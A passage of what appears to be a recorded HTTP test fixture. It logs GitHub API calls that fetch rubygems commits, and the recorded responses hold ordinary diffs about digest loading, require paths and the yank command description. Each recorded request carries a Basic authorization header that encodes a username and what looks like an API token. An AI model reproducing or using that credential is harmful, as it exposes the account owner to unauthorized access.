total":3,"additions":2,"deletions":1},"files":[{"sha":"23f8928a4ebfc0bf61297333794c8f553cc29b02","filename":"lib/rubygems/source/git.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/d74b9a14d7c8930190fe2f0e63c14a5921510164/lib/rubygems/source/git.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d74b9a14d7c8930190fe2f0e63c14a5921510164/lib/rubygems/source/git.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source/git.rb?ref=d74b9a14d7c8930190fe2f0e63c14a5921510164","patch":"@@ -1,5 +1,4 @@\n # frozen_string_literal: true\n-require ''digest''\n require ''rubygems/util''\n \n ##\n@@ -226,6 +225,8 @@ def specs\n # A hash for the git gem based on the git repository URI.\n \n def uri_hash # :nodoc:\n+ require ''digest'' # required here to avoid deadlocking in Gem.activate_bin_path (because digest is a gem on 2.5+)\n+\n normalized =\n if @repository =~ %r%^\\w+://(\\w+@)?% then\n uri = URI(@repository).normalize.to_s.sub %r%/$%,''''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4412' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b7f602c55ae7898be158890adcffc270" Last-Modified: - Mon, 11 Sep 2017 18:20:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.034016' X-Github-Request-Id: - C5C8:4D95:F48630:1C8474B:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"abe2727c2f6e031534fdf837f412e88dda77bd96","commit":{"author":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T18:20:54Z"},"committer":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T18:20:54Z"},"message":"spec","tree":{"sha":"e9e2305e9d1e22eed77580f22bacedce9eb644bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e9e2305e9d1e22eed77580f22bacedce9eb644bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","html_url":"https://github.com/rubygems/rubygems/commit/abe2727c2f6e031534fdf837f412e88dda77bd96","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96/comments","author":null,"committer":null,"parents":[{"sha":"3c17302e4e53818b96dd4e50b48d538f6b287fca","url":"https://api.github.com/repos/rubygems/rubygems/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca","html_url":"https://github.com/rubygems/rubygems/commit/3c17302e4e53818b96dd4e50b48d538f6b287fca"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"53b9dab02d9284c3ec7c1e169b709a6d6b076e9a","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/abe2727c2f6e031534fdf837f412e88dda77bd96/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/abe2727c2f6e031534fdf837f412e88dda77bd96/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=abe2727c2f6e031534fdf837f412e88dda77bd96","patch":"@@ -95,6 +95,12 @@ def test_lib_dirs_glob\n assert_equal File.join(stub.full_gem_path, ''lib''), stub.lib_dirs_glob\n end\n \n+ def test_lib_dirs_glob_with_extension\n+ stub = stub_with_extension\n+\n+ assert_equal File.join(stub.full_gem_path, ''lib''), stub.lib_dirs_glob\n+ end\n+\n def test_matches_for_glob\n stub = stub_without_extension\n code_rb = File.join stub.gem_dir, ''lib'', ''code.rb''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:11 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4411' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8bf2dc0f4d30642a0e728e044b038f14" Last-Modified: - Mon, 11 Sep 2017 12:54:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036295' X-Github-Request-Id: - C5CA:4D96:971BB1:13A4441:5A50E47B body: encoding: ASCII-8BIT string: '{"sha":"3c17302e4e53818b96dd4e50b48d538f6b287fca","commit":{"author":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T12:54:17Z"},"committer":{"name":"pavel","email":"pavel.rosicky@easy.cz","date":"2017-09-11T12:54:17Z"},"message":"remove gempath","tree":{"sha":"4b3b34ff0614a89a03469ac30cdb634b66d5cf51","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4b3b34ff0614a89a03469ac30cdb634b66d5cf51"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca","html_url":"https://github.com/rubygems/rubygems/commit/3c17302e4e53818b96dd4e50b48d538f6b287fca","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3c17302e4e53818b96dd4e50b48d538f6b287fca/comments","author":null,"committer":null,"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"0d50a9323078423b14d88a43c42198416dff64dd","filename":"lib/rubygems/basic_specification.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/3c17302e4e53818b96dd4e50b48d538f6b287fca/lib/rubygems/basic_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/3c17302e4e53818b96dd4e50b48d538f6b287fca/lib/rubygems/basic_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/basic_specification.rb?ref=3c17302e4e53818b96dd4e50b48d538f6b287fca","patch":"@@ -275,10 +275,10 @@ def matches_for_glob glob # TODO: rename?\n # for this spec.\n \n def lib_dirs_glob\n- dirs = if self.require_paths.size > 1 then\n- \"{#{self.require_paths.join('','')}}\"\n+ dirs = if self.raw_require_paths.size > 1 then\n+ \"{#{self.raw_require_paths.join('','')}}\"\n else\n- self.require_paths.first\n+ self.raw_require_paths.first\n end\n \n \"#{self.full_gem_path}/#{dirs}\".dup.untaint"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:11 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4410' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e6b0baa6c5910e215e2f43e68247e75b" Last-Modified: - Mon, 11 Sep 2017 11:54:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039379' X-Github-Request-Id: - C5CC:4D96:971BC1:13A4461:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"17ba6f22829c4d94bbcc3c4680147449ca6e049f","commit":{"author":{"name":"David Radcliffe","email":"radcliffe.david@gmail.com","date":"2017-09-11T11:54:28Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-09-11T11:54:28Z"},"message":"update gem yank description\n\nNow that gem yank permanently removes the gem we should not direct people to contact us to remove a gem.","tree":{"sha":"bae30d7f75f8e2cf7896667a13f339be260d2ef4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bae30d7f75f8e2cf7896667a13f339be260d2ef4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f","html_url":"https://github.com/rubygems/rubygems/commit/17ba6f22829c4d94bbcc3c4680147449ca6e049f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f/comments","author":{"login":"dwradcliffe","id":118850,"avatar_url":"https://avatars3.githubusercontent.com/u/118850?v=4","gravatar_id":"","url":"https://api.github.com/users/dwradcliffe","html_url":"https://github.com/dwradcliffe","followers_url":"https://api.github.com/users/dwradcliffe/followers","following_url":"https://api.github.com/users/dwradcliffe/following{/other_user}","gists_url":"https://api.github.com/users/dwradcliffe/gists{/gist_id}","starred_url":"https://api.github.com/users/dwradcliffe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dwradcliffe/subscriptions","organizations_url":"https://api.github.com/users/dwradcliffe/orgs","repos_url":"https://api.github.com/users/dwradcliffe/repos","events_url":"https://api.github.com/users/dwradcliffe/events{/privacy}","received_events_url":"https://api.github.com/users/dwradcliffe/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}],"stats":{"total":12,"additions":2,"deletions":10},"files":[{"sha":"ebf24e5c771e9f5f3c559c670c3d7b051d44fb9b","filename":"lib/rubygems/commands/yank_command.rb","status":"modified","additions":2,"deletions":10,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/17ba6f22829c4d94bbcc3c4680147449ca6e049f/lib/rubygems/commands/yank_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/17ba6f22829c4d94bbcc3c4680147449ca6e049f/lib/rubygems/commands/yank_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/yank_command.rb?ref=17ba6f22829c4d94bbcc3c4680147449ca6e049f","patch":"@@ -11,19 +11,11 @@ class Gem::Commands::YankCommand < Gem::Command\n \n def description # :nodoc:\n <<-EOF\n-The yank command removes a gem you pushed to a server from the server''s\n-index.\n-\n-Note that if you push a gem to rubygems.org the yank command does not\n-prevent other people from downloading the gem via the download link.\n+The yank command permanently removes a gem you pushed to a server.\n \n Once you have pushed a gem several downloads will happen automatically\n-via the webhooks. If you accidentally pushed passwords or other sensitive\n+via the webhooks. If you accidentally pushed passwords or other sensitive\n data you will need to change them immediately and yank your gem.\n-\n-If you are yanking a gem due to intellectual property reasons contact\n-http://help.rubygems.org for permanent removal. Be sure to mention this\n-as the reason for the removal request.\n EOF\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7b6771997313ce7db40ea761fb929b129a291e7e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4409' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"18452b8877b9a9bbfa5eb74db883871b" Last-Modified: - Tue, 05 Sep 2017 16:45:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056135' X-Github-Request-Id: - A2FE:4D96:971BCD:13A4477:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"7b6771997313ce7db40ea761fb929b129a291e7e","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-05T16:45:27Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-09-05T16:45:27Z"},"message":"Require digest when it is used\n\nThis avoids a potential issue where Gem.activate_bin_path could deadlock, since we''d attempt to activate the digest gem in the middle of activating other gems''","tree":{"sha":"ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7b6771997313ce7db40ea761fb929b129a291e7e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZrtSnAAoJEAEZW7MV3ahWBxkQAIiDauhDOEwJqDc/WDHcWkXE\nspwx8hA6uuYwWBLyNtRyEKN9iQZsjWV4nYDK8ZlfNDARJTxvlC75L5Tr1+sojyYS\nTrLWVD+9BFOPuVZdIuby24xbwsBkbfA3Jq+bhV2r2CEhA/sv/2QwdHmQMvsXjF9W\nHrM987DcebTyrgH7HJjWvdxtloAlO+eSmn6XlTsYMSMJDdvlXWFVXHN4sf1zg8Yi\nFUpwjcB2T022HlGjKj71UUzNnclzv5oMv4OtuT7KnyJavU1uVjvNidDXEX5HT/hz\n7o3PPvYjTzFJ7yAMgcLgtf/ijpY26/PClGRq6hEEifbwNC9L/Z2DlrMtjf9a+Qu2\n0GzmL63hiJKNs0SvxlbVPd76gf1lUaSpw93axquj4l2Quy6t+LFw6lImTcvZ5ROE\nAzEtnlYfPH+rSwu1cFjSVdFo4ZN4VflbaTWju39jp10eZGApRzSesUDTFH3a/9fk\ncKfg/7utY5EPJ8bpmtQNorLrUhZvf6qZGsVaFDSdyMyXZ6JCofWf7x4OhF4twCAX\nEe84qGccZTLzYw7GRLHXw0sYbRiyA6T+zeLjSkPMNeZcJWj6j8UveR1qHUptAZso\ni8tlRjhQinVxHmaNQZVBNfd0qbzWdGp0CSCH9FLPRh3HXJs+X3TCqYpMn4AdAFlG\n4YFAYHd9WDJFxBM0rWlE\n=QmLU\n-----END PGP SIGNATURE-----","payload":"tree ace94cedcd7fab0b779dda4891ba1aa8bc1cf9bf\nparent f89b5b5744c2136d41ffc6cb00d2c299ac32a284\nauthor Samuel Giddins 1504629927 -0500\ncommitter Samuel Giddins 1504629927 -0500\n\nRequire digest when it is used\n\nThis avoids a potential issue where Gem.activate_bin_path could deadlock, since we''d attempt to activate the digest gem in the middle of activating other gems''\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7b6771997313ce7db40ea761fb929b129a291e7e","html_url":"https://github.com/rubygems/rubygems/commit/7b6771997313ce7db40ea761fb929b129a291e7e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7b6771997313ce7db40ea761fb929b129a291e7e/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"23f8928a4ebfc0bf61297333794c8f553cc29b02","filename":"lib/rubygems/source/git.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/7b6771997313ce7db40ea761fb929b129a291e7e/lib/rubygems/source/git.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7b6771997313ce7db40ea761fb929b129a291e7e/lib/rubygems/source/git.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source/git.rb?ref=7b6771997313ce7db40ea761fb929b129a291e7e","patch":"@@ -1,5 +1,4 @@\n # frozen_string_literal: true\n-require ''digest''\n require ''rubygems/util''\n \n ##\n@@ -226,6 +225,8 @@ def specs\n # A hash for the git gem based on the git repository URI.\n \n def uri_hash # :nodoc:\n+ require ''digest'' # required here to avoid deadlocking in Gem.activate_bin_path (because digest is a gem on 2.5+)\n+\n normalized =\n if @repository =~ %r%^\\w+://(\\w+@)?% then\n uri = URI(@repository).normalize.to_s.sub %r%/$%,''''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:12 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4408' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5b8be7d38147e85c8eb22ac7b47cc073" Last-Modified: - Fri, 01 Sep 2017 07:53:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040365' X-Github-Request-Id: - A300:4D95:F48688:1C847FB:5A50E47C body: encoding: ASCII-8BIT string: '{"sha":"f89b5b5744c2136d41ffc6cb00d2c299ac32a284","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-01T07:53:54Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-01T07:53:54Z"},"message":"Auto merge of #2001 - hsbt:bundler-1-15-4, r=hsbt\n\n[Bundler] Update to 1.15.4\n\n# Description:\n\nIt needs to bundler integration of ruby core.\nBecause I hope to merge latest stable version of bundler for ruby core.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"2a4408c561d1080eb66c3f65175b11bbb93d626c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2a4408c561d1080eb66c3f65175b11bbb93d626c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","html_url":"https://github.com/rubygems/rubygems/commit/f89b5b5744c2136d41ffc6cb00d2c299ac32a284","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f89b5b5744c2136d41ffc6cb00d2c299ac32a284/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","url":"https://api.github.com/repos/rubygems/rubygems/commits/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab","html_url":"https://github.com/rubygems/rubygems/commit/9b0d437f0dd69f2c02622a0ab3f5fb879c7a81ab"},{"sha":"e3a063186648d691e8c9a5318fc4fbc4fe2a1905","url":"https://api.github.com/repos/rubygems/rubygems/commits/e3a063186648d691e8c9a5318fc4fbc4fe2a1905","html_url":"https://github.com/rubygems/rubygems/commit/e3a063186648d691e8c9a5318fc4fbc4fe2a1905"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=f89b5b5744c2136d41ffc6cb00d2c299ac32a284","patch":"@@ -1 +1 @@\n-Subproject commit 50905839daa6c381b3759375d69194309c5f6544\n+Subproject commit c3fe3e6f2a93c30869c70ea17a10041a9b2d27dd"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e3a063186648d691e8c9a5318fc4fbc4fe2a1905 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic 